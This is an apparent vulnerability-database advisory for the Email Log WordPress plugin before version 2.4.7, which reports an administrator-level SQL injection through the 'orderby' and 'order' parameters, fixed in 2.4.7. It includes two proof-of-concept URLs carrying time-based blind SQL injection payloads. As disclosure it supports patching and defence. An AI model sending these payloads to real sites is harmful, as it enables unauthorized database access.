WordPress Plugin Vulnerabilities

Email Log < 2.4.7 - Admin+ SQL Injection

Description

The plugin does not properly validate, sanitise and escape the "orderby" and "order" GET parameters before using them in SQL statement in the admin dashboard, leading to SQL injections

Proof of Concept

https://example.com/wp-admin/admin.php?page=email-log&orderby=sent_date+AND+(SELECT+3025 FROM+(SELECT(SLEEP(5)))SBat)&order=DESC
https://example.com/wp-admin/admin.php?page=email-log&orderby=sent_date&order=AND+(SELECT+3025+FROM+(SELECT(SLEEP(5)))SBat)

Affects Plugins

Fixed in 2.4.7

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
bl4derunner
Submitter
Anton Sarsadskikh
Verified
Yes

Timeline

Publicly Published
2021-10-18 (about 2 years ago)
Added
2021-10-18 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

Other